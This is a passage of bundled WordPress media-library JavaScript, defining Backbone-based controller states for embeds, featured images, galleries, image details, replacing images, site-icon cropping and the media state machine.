=== scanners ) { embed.set( 'loading', false ); } }); } else { attributes.scanners = null; } attributes.loading = !! attributes.scanners; this.set( attributes ); }, /** * Try scanning the embed as an image to discover its dimensions. * * @param {Object} attributes */ scanImage: function( attributes ) { var frame = this.frame, state = this, url = this.props.get('url'), image = new Image(), deferred = $.Deferred(); attributes.scanners.push( deferred.promise() ); // Try to load the image and find its width/height. image.onload = function() { deferred.resolve(); if ( state !== frame.state() || url !== state.props.get('url') ) { return; } state.set({ type: 'image' }); state.props.set({ width: image.width, height: image.height }); }; image.onerror = deferred.reject; image.src = url; }, refresh: function() { this.frame.toolbar.get().refresh(); }, reset: function() { this.props.clear().set({ url: '' }); if ( this.active ) { this.refresh(); } } }); module.exports = Embed; /***/ }), /***/ 5095: /***/ (function(module) { var Attachment = wp.media.model.Attachment, Library = wp.media.controller.Library, l10n = wp.media.view.l10n, FeaturedImage; /** * wp.media.controller.FeaturedImage * * A state for selecting a featured image for a post. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=featured-image] Unique identifier. * @param {string} [attributes.title=Set Featured Image] Title for the state. Displays in the media menu and the frame's title region. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse. * If one is not supplied, a collection of all images will be created. * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled. * @param {string} [attributes.content=upload] Initial mode for the content region. * Overridden by persistent user setting if 'contentUserSetting' is true. * @param {string} [attributes.menu=default] Initial mode for the menu region. * @param {string} [attributes.router=browse] Initial mode for the router region. * @param {string} [attributes.toolbar=featured-image] Initial mode for the toolbar region. * @param {int} [attributes.priority=60] The priority for the state link in the media menu. * @param {boolean} [attributes.searchable=true] Whether the library is searchable. * @param {boolean|string} [attributes.filterable=false] Whether the library is filterable, and if so what filters should be shown. * Accepts 'all', 'uploaded', or 'unattached'. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection. * @param {boolean} [attributes.describe=false] Whether to offer UI to describe attachments - e.g. captioning images in a gallery. * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user. * @param {boolean} [attributes.syncSelection=true] Whether the Attachments selection should be persisted from the last state. */ FeaturedImage = Library.extend(/** @lends wp.media.controller.FeaturedImage.prototype */{ defaults: _.defaults({ id: 'featured-image', title: l10n.setFeaturedImageTitle, multiple: false, filterable: 'uploaded', toolbar: 'featured-image', priority: 60, syncSelection: true }, Library.prototype.defaults ), /** * @since 3.5.0 */ initialize: function() { var library, comparator; // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { this.set( 'library', wp.media.query({ type: 'image' }) ); } Library.prototype.initialize.apply( this, arguments ); library = this.get('library'); comparator = library.comparator; // Overload the library's comparator to push items that are not in // the mirrored query to the front of the aggregate collection. library.comparator = function( a, b ) { var aInQuery = !! this.mirroring.get( a.cid ), bInQuery = !! this.mirroring.get( b.cid ); if ( ! aInQuery && bInQuery ) { return -1; } else if ( aInQuery && ! bInQuery ) { return 1; } else { return comparator.apply( this, arguments ); } }; // Add all items in the selection to the library, so any featured // images that are not initially loaded still appear. library.observe( this.get('selection') ); }, /** * @since 3.5.0 */ activate: function() { this.frame.on( 'open', this.updateSelection, this ); Library.prototype.activate.apply( this, arguments ); }, /** * @since 3.5.0 */ deactivate: function() { this.frame.off( 'open', this.updateSelection, this ); Library.prototype.deactivate.apply( this, arguments ); }, /** * @since 3.5.0 */ updateSelection: function() { var selection = this.get('selection'), id = wp.media.view.settings.post.featuredImageId, attachment; if ( '' !== id && -1 !== id ) { attachment = Attachment.get( id ); attachment.fetch(); } selection.reset( attachment ? [ attachment ] : [] ); } }); module.exports = FeaturedImage; /***/ }), /***/ 7323: /***/ (function(module) { var Selection = wp.media.model.Selection, Library = wp.media.controller.Library, l10n = wp.media.view.l10n, GalleryAdd; /** * wp.media.controller.GalleryAdd * * A state for selecting more images to add to a gallery. * * @since 3.5.0 * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @memberof wp.media.controller * * @param {Object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=gallery-library] Unique identifier. * @param {string} [attributes.title=Add to Gallery] Title for the state. Displays in the frame's title region. * @param {boolean} [attributes.multiple=add] Whether multi-select is enabled. @todo 'add' doesn't seem do anything special, and gets used as a boolean. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse. * If one is not supplied, a collection of all images will be created. * @param {boolean|string} [attributes.filterable=uploaded] Whether the library is filterable, and if so what filters should be shown. * Accepts 'all', 'uploaded', or 'unattached'. * @param {string} [attributes.menu=gallery] Initial mode for the menu region. * @param {string} [attributes.content=upload] Initial mode for the content region. * Overridden by persistent user setting if 'contentUserSetting' is true. * @param {string} [attributes.router=browse] Initial mode for the router region. * @param {string} [attributes.toolbar=gallery-add] Initial mode for the toolbar region. * @param {boolean} [attributes.searchable=true] Whether the library is searchable. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection. * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user. * @param {number} [attributes.priority=100] The priority for the state link in the media menu. * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state. * Defaults to false because for this state, because the library of the Edit Gallery state is the selection. */ GalleryAdd = Library.extend(/** @lends wp.media.controller.GalleryAdd.prototype */{ defaults: _.defaults({ id: 'gallery-library', title: l10n.addToGalleryTitle, multiple: 'add', filterable: 'uploaded', menu: 'gallery', toolbar: 'gallery-add', priority: 100, syncSelection: false }, Library.prototype.defaults ), /** * Initializes the library. Creates a library of images if a library isn't supplied. * * @since 3.5.0 * * @return {void} */ initialize: function() { if ( ! this.get('library') ) { this.set( 'library', wp.media.query({ type: 'image' }) ); } Library.prototype.initialize.apply( this, arguments ); }, /** * Activates the library. * * Removes all event listeners if in edit mode. Creates a validator to check an attachment. * Resets library and re-enables event listeners. Activates edit mode. Calls the parent's activate method. * * @since 3.5.0 * * @return {void} */ activate: function() { var library = this.get('library'), edit = this.frame.state('gallery-edit').get('library'); if ( this.editLibrary && this.editLibrary !== edit ) { library.unobserve( this.editLibrary ); } /* * Accept attachments that exist in the original library but * that do not exist in gallery's library yet. */ library.validator = function( attachment ) { return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && Selection.prototype.validator.apply( this, arguments ); }; /* * Reset the library to ensure that all attachments are re-added * to the collection. Do so silently, as calling `observe` will * trigger the `reset` event. */ library.reset( library.mirroring.models, { silent: true }); library.observe( edit ); this.editLibrary = edit; Library.prototype.activate.apply( this, arguments ); } }); module.exports = GalleryAdd; /***/ }), /***/ 6328: /***/ (function(module) { var Library = wp.media.controller.Library, l10n = wp.media.view.l10n, GalleryEdit; /** * wp.media.controller.GalleryEdit * * A state for editing a gallery's images and settings. * * @since 3.5.0 * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @memberOf wp.media.controller * * @param {Object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=gallery-edit] Unique identifier. * @param {string} [attributes.title=Edit Gallery] Title for the state. Displays in the frame's title region. * @param {wp.media.model.Attachments} [attributes.library] The collection of attachments in the gallery. * If one is not supplied, an empty media.model.Selection collection is created. * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled. * @param {boolean} [attributes.searchable=false] Whether the library is searchable. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.date=true] Whether to show the date filter in the browser's toolbar. * @param {string|false} [attributes.content=browse] Initial mode for the content region. * @param {string|false} [attributes.toolbar=image-details] Initial mode for the toolbar region. * @param {boolean} [attributes.describe=true] Whether to offer UI to describe attachments - e.g. captioning images in a gallery. * @param {boolean} [attributes.displaySettings=true] Whether to show the attachment display settings interface. * @param {boolean} [attributes.dragInfo=true] Whether to show instructional text about the attachments being sortable. * @param {number} [attributes.idealColumnWidth=170] The ideal column width in pixels for attachments. * @param {boolean} [attributes.editing=false] Whether the gallery is being created, or editing an existing instance. * @param {number} [attributes.priority=60] The priority for the state link in the media menu. * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state. * Defaults to false for this state, because the library passed in *is* the selection. * @param {view} [attributes.AttachmentView] The single `Attachment` view to be used in the `Attachments`. * If none supplied, defaults to wp.media.view.Attachment.EditLibrary. */ GalleryEdit = Library.extend(/** @lends wp.media.controller.GalleryEdit.prototype */{ defaults: { id: 'gallery-edit', title: l10n.editGalleryTitle, multiple: false, searchable: false, sortable: true, date: false, display: false, content: 'browse', toolbar: 'gallery-edit', describe: true, displaySettings: true, dragInfo: true, idealColumnWidth: 170, editing: false, priority: 60, syncSelection: false }, /** * Initializes the library. * * Creates a selection if a library isn't supplied and creates an attachment * view if no attachment view is supplied. * * @since 3.5.0 * * @return {void} */ initialize: function() { // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { this.set( 'library', new wp.media.model.Selection() ); } // The single `Attachment` view to be used in the `Attachments` view. if ( ! this.get('AttachmentView') ) { this.set( 'AttachmentView', wp.media.view.Attachment.EditLibrary ); } Library.prototype.initialize.apply( this, arguments ); }, /** * Activates the library. * * Limits the library to images, watches for uploaded attachments. Watches for * the browse event on the frame and binds it to gallerySettings. * * @since 3.5.0 * * @return {void} */ activate: function() { var library = this.get('library'); // Limit the library to images only. library.props.set( 'type', 'image' ); // Watch for uploaded attachments. this.get('library').observe( wp.Uploader.queue ); this.frame.on( 'content:render:browse', this.gallerySettings, this ); Library.prototype.activate.apply( this, arguments ); }, /** * Deactivates the library. * * Stops watching for uploaded attachments and browse events. * * @since 3.5.0 * * @return {void} */ deactivate: function() { // Stop watching for uploaded attachments. this.get('library').unobserve( wp.Uploader.queue ); this.frame.off( 'content:render:browse', this.gallerySettings, this ); Library.prototype.deactivate.apply( this, arguments ); }, /** * Adds the gallery settings to the sidebar and adds a reverse button to the * toolbar. * * @since 3.5.0 * * @param {wp.media.view.Frame} browser The file browser. * * @return {void} */ gallerySettings: function( browser ) { if ( ! this.get('displaySettings') ) { return; } var library = this.get('library'); if ( ! library || ! browser ) { return; } library.gallery = library.gallery || new Backbone.Model(); browser.sidebar.set({ gallery: new wp.media.view.Settings.Gallery({ controller: this, model: library.gallery, priority: 40 }) }); browser.toolbar.set( 'reverse', { text: l10n.reverseOrder, priority: 80, click: function() { library.reset( library.toArray().reverse() ); } }); } }); module.exports = GalleryEdit; /***/ }), /***/ 3849: /***/ (function(module) { var State = wp.media.controller.State, Library = wp.media.controller.Library, l10n = wp.media.view.l10n, ImageDetails; /** * wp.media.controller.ImageDetails * * A state for editing the attachment display settings of an image that's been * inserted into the editor. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=image-details] Unique identifier. * @param {string} [attributes.title=Image Details] Title for the state. Displays in the frame's title region. * @param {wp.media.model.Attachment} attributes.image The image's model. * @param {string|false} [attributes.content=image-details] Initial mode for the content region. * @param {string|false} [attributes.menu=false] Initial mode for the menu region. * @param {string|false} [attributes.router=false] Initial mode for the router region. * @param {string|false} [attributes.toolbar=image-details] Initial mode for the toolbar region. * @param {boolean} [attributes.editing=false] Unused. * @param {int} [attributes.priority=60] Unused. * * @todo This state inherits some defaults from media.controller.Library.prototype.defaults, * however this may not do anything. */ ImageDetails = State.extend(/** @lends wp.media.controller.ImageDetails.prototype */{ defaults: _.defaults({ id: 'image-details', title: l10n.imageDetailsTitle, content: 'image-details', menu: false, router: false, toolbar: 'image-details', editing: false, priority: 60 }, Library.prototype.defaults ), /** * @since 3.9.0 * * @param options Attributes */ initialize: function( options ) { this.image = options.image; State.prototype.initialize.apply( this, arguments ); }, /** * @since 3.9.0 */ activate: function() { this.frame.modal.$el.addClass('image-details'); } }); module.exports = ImageDetails; /***/ }), /***/ 9024: /***/ (function(module) { var l10n = wp.media.view.l10n, getUserSetting = window.getUserSetting, setUserSetting = window.setUserSetting, Library; /** * wp.media.controller.Library * * A state for choosing an attachment or group of attachments from the media library. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model * @mixes media.selectionSync * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=library] Unique identifier. * @param {string} [attributes.title=Media library] Title for the state. Displays in the media menu and the frame's title region. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse. * If one is not supplied, a collection of all attachments will be created. * @param {wp.media.model.Selection|object} [attributes.selection] A collection to contain attachment selections within the state. * If the 'selection' attribute is a plain JS object, * a Selection will be created using its values as the selection instance's `props` model. * Otherwise, it will copy the library's `props` model. * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled. * @param {string} [attributes.content=upload] Initial mode for the content region. * Overridden by persistent user setting if 'contentUserSetting' is true. * @param {string} [attributes.menu=default] Initial mode for the menu region. * @param {string} [attributes.router=browse] Initial mode for the router region. * @param {string} [attributes.toolbar=select] Initial mode for the toolbar region. * @param {boolean} [attributes.searchable=true] Whether the library is searchable. * @param {boolean|string} [attributes.filterable=false] Whether the library is filterable, and if so what filters should be shown. * Accepts 'all', 'uploaded', or 'unattached'. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection. * @param {boolean} [attributes.describe=false] Whether to offer UI to describe attachments - e.g. captioning images in a gallery. * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user. * @param {boolean} [attributes.syncSelection=true] Whether the Attachments selection should be persisted from the last state. */ Library = wp.media.controller.State.extend(/** @lends wp.media.controller.Library.prototype */{ defaults: { id: 'library', title: l10n.mediaLibraryTitle, multiple: false, content: 'upload', menu: 'default', router: 'browse', toolbar: 'select', searchable: true, filterable: false, sortable: true, autoSelect: true, describe: false, contentUserSetting: true, syncSelection: true }, /** * If a library isn't provided, query all media items. * If a selection instance isn't provided, create one. * * @since 3.5.0 */ initialize: function() { var selection = this.get('selection'), props; if ( ! this.get('library') ) { this.set( 'library', wp.media.query() ); } if ( ! ( selection instanceof wp.media.model.Selection ) ) { props = selection; if ( ! props ) { props = this.get('library').props.toJSON(); props = _.omit( props, 'orderby', 'query' ); } this.set( 'selection', new wp.media.model.Selection( null, { multiple: this.get('multiple'), props: props }) ); } this.resetDisplays(); }, /** * @since 3.5.0 */ activate: function() { this.syncSelection(); wp.Uploader.queue.on( 'add', this.uploading, this ); this.get('selection').on( 'add remove reset', this.refreshContent, this ); if ( this.get( 'router' ) && this.get('contentUserSetting') ) { this.frame.on( 'content:activate', this.saveContentMode, this ); this.set( 'content', getUserSetting( 'libraryContent', this.get('content') ) ); } }, /** * @since 3.5.0 */ deactivate: function() { this.recordSelection(); this.frame.off( 'content:activate', this.saveContentMode, this ); // Unbind all event handlers that use this state as the context // from the selection. this.get('selection').off( null, null, this ); wp.Uploader.queue.off( null, null, this ); }, /** * Reset the library to its initial state. * * @since 3.5.0 */ reset: function() { this.get('selection').reset(); this.resetDisplays(); this.refreshContent(); }, /** * Reset the attachment display settings defaults to the site options. * * If site options don't define them, fall back to a persistent user setting. * * @since 3.5.0 */ resetDisplays: function() { var defaultProps = wp.media.view.settings.defaultProps; this._displays = []; this._defaultDisplaySettings = { align: getUserSetting( 'align', defaultProps.align ) || 'none', size: getUserSetting( 'imgsize', defaultProps.size ) || 'medium', link: getUserSetting( 'urlbutton', defaultProps.link ) || 'none' }; }, /** * Create a model to represent display settings (alignment, etc.) for an attachment. * * @since 3.5.0 * * @param {wp.media.model.Attachment} attachment * @return {Backbone.Model} */ display: function( attachment ) { var displays = this._displays; if ( ! displays[ attachment.cid ] ) { displays[ attachment.cid ] = new Backbone.Model( this.defaultDisplaySettings( attachment ) ); } return displays[ attachment.cid ]; }, /** * Given an attachment, create attachment display settings properties. * * @since 3.6.0 * * @param {wp.media.model.Attachment} attachment * @return {Object} */ defaultDisplaySettings: function( attachment ) { var settings = _.clone( this._defaultDisplaySettings ); settings.canEmbed = this.canEmbed( attachment ); if ( settings.canEmbed ) { settings.link = 'embed'; } else if ( ! this.isImageAttachment( attachment ) && settings.link === 'none' ) { settings.link = 'file'; } return settings; }, /** * Whether an attachment is image. * * @since 4.4.1 * * @param {wp.media.model.Attachment} attachment * @return {boolean} */ isImageAttachment: function( attachment ) { // If uploading, we know the filename but not the mime type. if ( attachment.get('uploading') ) { return /\.(jpe?g|png|gif|webp)$/i.test( attachment.get('filename') ); } return attachment.get('type') === 'image'; }, /** * Whether an attachment can be embedded (audio or video). * * @since 3.6.0 * * @param {wp.media.model.Attachment} attachment * @return {boolean} */ canEmbed: function( attachment ) { // If uploading, we know the filename but not the mime type. if ( ! attachment.get('uploading') ) { var type = attachment.get('type'); if ( type !== 'audio' && type !== 'video' ) { return false; } } return _.contains( wp.media.view.settings.embedExts, attachment.get('filename').split('.').pop() ); }, /** * If the state is active, no items are selected, and the current * content mode is not an option in the state's router (provided * the state has a router), reset the content mode to the default. * * @since 3.5.0 */ refreshContent: function() { var selection = this.get('selection'), frame = this.frame, router = frame.router.get(), mode = frame.content.mode(); if ( this.active && ! selection.length && router && ! router.get( mode ) ) { this.frame.content.render( this.get('content') ); } }, /** * Callback handler when an attachment is uploaded. * * Switch to the Media Library if uploaded from the 'Upload Files' tab. * * Adds any uploading attachments to the selection. * * If the state only supports one attachment to be selected and multiple * attachments are uploaded, the last attachment in the upload queue will * be selected. * * @since 3.5.0 * * @param {wp.media.model.Attachment} attachment */ uploading: function( attachment ) { var content = this.frame.content; if ( 'upload' === content.mode() ) { this.frame.content.mode('browse'); } if ( this.get( 'autoSelect' ) ) { this.get('selection').add( attachment ); this.frame.trigger( 'library:selection:add' ); } }, /** * Persist the mode of the content region as a user setting. * * @since 3.5.0 */ saveContentMode: function() { if ( 'browse' !== this.get('router') ) { return; } var mode = this.frame.content.mode(), view = this.frame.router.get(); if ( view && view.get( mode ) ) { setUserSetting( 'libraryContent', mode ); } } }); // Make selectionSync available on any Media Library state. _.extend( Library.prototype, wp.media.selectionSync ); module.exports = Library; /***/ }), /***/ 3742: /***/ (function(module) { /** * wp.media.controller.MediaLibrary * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model */ var Library = wp.media.controller.Library, MediaLibrary; MediaLibrary = Library.extend(/** @lends wp.media.controller.MediaLibrary.prototype */{ defaults: _.defaults({ // Attachments browser defaults. @see media.view.AttachmentsBrowser filterable: 'uploaded', displaySettings: false, priority: 80, syncSelection: false }, Library.prototype.defaults ), /** * @since 3.9.0 * * @param options */ initialize: function( options ) { this.media = options.media; this.type = options.type; this.set( 'library', wp.media.query({ type: this.type }) ); Library.prototype.initialize.apply( this, arguments ); }, /** * @since 3.9.0 */ activate: function() { // @todo this should use this.frame. if ( wp.media.frame.lastMime ) { this.set( 'library', wp.media.query({ type: wp.media.frame.lastMime }) ); delete wp.media.frame.lastMime; } Library.prototype.activate.apply( this, arguments ); } }); module.exports = MediaLibrary; /***/ }), /***/ 4903: /***/ (function(module) { /** * wp.media.controller.Region * * A region is a persistent application layout area. * * A region assumes one mode at any time, and can be switched to another. * * When mode changes, events are triggered on the region's parent view. * The parent view will listen to specific events and fill the region with an * appropriate view depending on mode. For example, a frame listens for the * 'browse' mode t be activated on the 'content' view and then fills the region * with an AttachmentsBrowser view. * * @memberOf wp.media.controller * * @class * * @param {Object} options Options hash for the region. * @param {string} options.id Unique identifier for the region. * @param {Backbone.View} options.view A parent view the region exists within. * @param {string} options.selector jQuery selector for the region within the parent view. */ var Region = function( options ) { _.extend( this, _.pick( options || {}, 'id', 'view', 'selector' ) ); }; // Use Backbone's self-propagating `extend` inheritance method. Region.extend = Backbone.Model.extend; _.extend( Region.prototype,/** @lends wp.media.controller.Region.prototype */{ /** * Activate a mode. * * @since 3.5.0 * * @param {string} mode * * @fires Region#activate * @fires Region#deactivate * * @return {wp.media.controller.Region} Returns itself to allow chaining. */ mode: function( mode ) { if ( ! mode ) { return this._mode; } // Bail if we're trying to change to the current mode. if ( mode === this._mode ) { return this; } /** * Region mode deactivation event. * * @event wp.media.controller.Region#deactivate */ this.trigger('deactivate'); this._mode = mode; this.render( mode ); /** * Region mode activation event. * * @event wp.media.controller.Region#activate */ this.trigger('activate'); return this; }, /** * Render a mode. * * @since 3.5.0 * * @param {string} mode * * @fires Region#create * @fires Region#render * * @return {wp.media.controller.Region} Returns itself to allow chaining. */ render: function( mode ) { // If the mode isn't active, activate it. if ( mode && mode !== this._mode ) { return this.mode( mode ); } var set = { view: null }, view; /** * Create region view event. * * Region view creation takes place in an event callback on the frame. * * @event wp.media.controller.Region#create * @type {object} * @property {object} view */ this.trigger( 'create', set ); view = set.view; /** * Render region view event. * * Region view creation takes place in an event callback on the frame. * * @event wp.media.controller.Region#render * @type {object} */ this.trigger( 'render', view ); if ( view ) { this.set( view ); } return this; }, /** * Get the region's view. * * @since 3.5.0 * * @return {wp.media.View} */ get: function() { return this.view.views.first( this.selector ); }, /** * Set the region's view as a subview of the frame. * * @since 3.5.0 * * @param {Array|Object} views * @param {Object} [options={}] * @return {wp.Backbone.Subviews} Subviews is returned to allow chaining. */ set: function( views, options ) { if ( options ) { options.add = false; } return this.view.views.set( this.selector, views, options ); }, /** * Trigger regional view events on the frame. * * @since 3.5.0 * * @param {string} event * @return {undefined|wp.media.controller.Region} Returns itself to allow chaining. */ trigger: function( event ) { var base, args; if ( ! this._mode ) { return; } args = _.toArray( arguments ); base = this.id + ':' + event; // Trigger `{this.id}:{event}:{this._mode}` event on the frame. args[0] = base + ':' + this._mode; this.view.trigger.apply( this.view, args ); // Trigger `{this.id}:{event}` event on the frame. args[0] = base; this.view.trigger.apply( this.view, args ); return this; } }); module.exports = Region; /***/ }), /***/ 8493: /***/ (function(module) { var Library = wp.media.controller.Library, l10n = wp.media.view.l10n, ReplaceImage; /** * wp.media.controller.ReplaceImage * * A state for replacing an image. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=replace-image] Unique identifier. * @param {string} [attributes.title=Replace Image] Title for the state. Displays in the media menu and the frame's title region. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse. * If one is not supplied, a collection of all images will be created. * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled. * @param {string} [attributes.content=upload] Initial mode for the content region. * Overridden by persistent user setting if 'contentUserSetting' is true. * @param {string} [attributes.menu=default] Initial mode for the menu region. * @param {string} [attributes.router=browse] Initial mode for the router region. * @param {string} [attributes.toolbar=replace] Initial mode for the toolbar region. * @param {int} [attributes.priority=60] The priority for the state link in the media menu. * @param {boolean} [attributes.searchable=true] Whether the library is searchable. * @param {boolean|string} [attributes.filterable=uploaded] Whether the library is filterable, and if so what filters should be shown. * Accepts 'all', 'uploaded', or 'unattached'. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection. * @param {boolean} [attributes.describe=false] Whether to offer UI to describe attachments - e.g. captioning images in a gallery. * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user. * @param {boolean} [attributes.syncSelection=true] Whether the Attachments selection should be persisted from the last state. */ ReplaceImage = Library.extend(/** @lends wp.media.controller.ReplaceImage.prototype */{ defaults: _.defaults({ id: 'replace-image', title: l10n.replaceImageTitle, multiple: false, filterable: 'uploaded', toolbar: 'replace', menu: false, priority: 60, syncSelection: true }, Library.prototype.defaults ), /** * @since 3.9.0 * * @param options */ initialize: function( options ) { var library, comparator; this.image = options.image; // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { this.set( 'library', wp.media.query({ type: 'image' }) ); } Library.prototype.initialize.apply( this, arguments ); library = this.get('library'); comparator = library.comparator; // Overload the library's comparator to push items that are not in // the mirrored query to the front of the aggregate collection. library.comparator = function( a, b ) { var aInQuery = !! this.mirroring.get( a.cid ), bInQuery = !! this.mirroring.get( b.cid ); if ( ! aInQuery && bInQuery ) { return -1; } else if ( aInQuery && ! bInQuery ) { return 1; } else { return comparator.apply( this, arguments ); } }; // Add all items in the selection to the library, so any featured // images that are not initially loaded still appear. library.observe( this.get('selection') ); }, /** * @since 3.9.0 */ activate: function() { this.frame.on( 'content:render:browse', this.updateSelection, this ); Library.prototype.activate.apply( this, arguments ); }, /** * @since 5.9.0 */ deactivate: function() { this.frame.off( 'content:render:browse', this.updateSelection, this ); Library.prototype.deactivate.apply( this, arguments ); }, /** * @since 3.9.0 */ updateSelection: function() { var selection = this.get('selection'), attachment = this.image.attachment; selection.reset( attachment ? [ attachment ] : [] ); } }); module.exports = ReplaceImage; /***/ }), /***/ 5274: /***/ (function(module) { var Controller = wp.media.controller, SiteIconCropper; /** * wp.media.controller.SiteIconCropper * * A state for cropping a Site Icon. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Cropper * @augments wp.media.controller.State * @augments Backbone.Model */ SiteIconCropper = Controller.Cropper.extend(/** @lends wp.media.controller.SiteIconCropper.prototype */{ activate: function() { this.frame.on( 'content:create:crop', this.createCropContent, this ); this.frame.on( 'close', this.removeCropper, this ); this.set('selection', new Backbone.Collection(this.frame._selection.single)); }, createCropContent: function() { this.cropperView = new wp.media.view.SiteIconCropper({ controller: this, attachment: this.get('selection').first() }); this.cropperView.on('image-loaded', this.createCropToolbar, this); this.frame.content.set(this.cropperView); }, doCrop: function( attachment ) { var cropDetails = attachment.get( 'cropDetails' ), control = this.get( 'control' ); cropDetails.dst_width = control.params.width; cropDetails.dst_height = control.params.height; return wp.ajax.post( 'crop-image', { nonce: attachment.get( 'nonces' ).edit, id: attachment.get( 'id' ), context: 'site-icon', cropDetails: cropDetails } ); } }); module.exports = SiteIconCropper; /***/ }), /***/ 5466: /***/ (function(module) { /** * wp.media.controller.StateMachine * * A state machine keeps track of state. It is in one state at a time, * and can change from one state to another. * * States are stored as models in a Backbone collection. * * @memberOf wp.media.controller * * @since 3.5.0 * * @class * @augments Backbone.Model * @mixin * @mixes Backbone.Events */ var StateMachine = function() { return { // Use Backbone's self-propagating `extend` inheritance method. extend: Backbone.Model.extend }; }; _.extend( StateMachine.prototype, Backbone.Events,/** @lends wp.media.controller.StateMachine.prototype */{ /** * Fetch a state. * * If no `id` is provided, returns the active state. * * Implicitly creates states. * * Ensure that the `states` collection exists so the `StateMachine` * can be used as a mixin. * * @since 3.5.0 * * @param {string} id * @return {wp.media.controller.State} Returns a State model from * the StateMachine collection. */ state: function( id ) { this.states = this.states || new Backbone.Collection(); // Default to the active state. id = id || this._state; if ( id && ! this.states.get( id ) ) { this.states.add({ id: id }); } return this.states.get( id ); }, /** * Sets the active state. * * Bail if we're trying to select the current state, if we haven't * created the `states` collection, or are trying to select a state * that does not exist. * * @since 3.5.0 * * @param {string} id * * @fires wp.media.controller.State#deactivate * @fires wp.media.controller.State#activate * * @return {wp.media.controller.StateMachine} Returns itself to allow chaining. */ setState: function( id ) { var previous = this.state(); if ( ( previous && id === previous.id ) || ! this.states || ! this.states.get( id ) ) { return this; } if ( previous ) { previous.trigger('deactivate'); this._lastState = previous.id; } this._state = id; this.state().trigger('activate'); return this; }, /** * Returns the previous active state. * * Call the `state()` method with no parameters to retrieve the current * active state. * * @since 3.5.0 * * @return {wp.media.controller.State} Returns a State model from * the StateMachine collection. */ lastState: function() { if ( this._lastState ) { return this.state( this._lastState ); } } }); // Map all event binding and triggering on a StateMachine to its `states` collection. _.each([ 'on', 'off', 'trigger' ], function( method ) { /** * @function on * @memberOf wp.media.controller.StateMachine * @instance * @return {wp.media.controller.StateMachine} Returns itself to allow chaining. */ /** * @function off * @memberOf wp.media.controller.StateMachine * @instance * @return {wp.media.controller.StateMachine} Returns itself to allow chaining. */ /** * @function trigger * @memberOf wp.media.controller.StateMachine * @instance * @return {wp.media.controller.StateMachine} Returns itself to allow chaining. */ StateMachine.prototype[ method ] = function() { // Ensure that the `states` collection exists so the `StateMachine` // can be used as a mixin. this.states = this.states || new Backbone.Collection(); // Forward the method to the `states` collection. this.states[ method ].apply( this.states, arguments ); return this; }; }); module.exports = StateMachine; /***/ }), /***/ 5826: /***/ (function(module) { /** * wp.media.controller.State * * A state is a step in a workflow that when set will trigger the controllers * for the regions to be updated as specified in the frame. * * A state has an event-driven lifecycle: * * 'ready' triggers when a state is added to a state machine's collection. * 'activate' triggers when a state is activated by a state machine. * 'deactivate' triggers when a state is deactivated by a state machine. * 'reset' is not triggered automatically. It should be invoked by the * proper controller to reset the state to its default. * * @memberOf wp.media.controller * * @class * @augments Backbone.Model */ var State = Backbone.Model.extend(/** @lends wp.media.controller.State.prototype */{ /** * Constructor. * * @since 3.5.0 */ constructor: function() { this.on( 'activate', this._preActivate, this ); this.on( 'activate', this.activate, this ); this.on( 'activate', this._postActivate, this ); this.on( 'deactivate', this._deactivate, this ); this.on( 'deactivate', this.deactivate, this ); this.on( 'reset', this.reset, this ); this.on( 'ready', this._ready, this ); this.on( 'ready', this.ready, this ); /** * Call parent constructor with passed arguments */ Backbone.Model.apply( this, arguments ); this.on( 'change:menu', this._updateMenu, this ); }, /** * Ready event callback. * * @abstract * @since 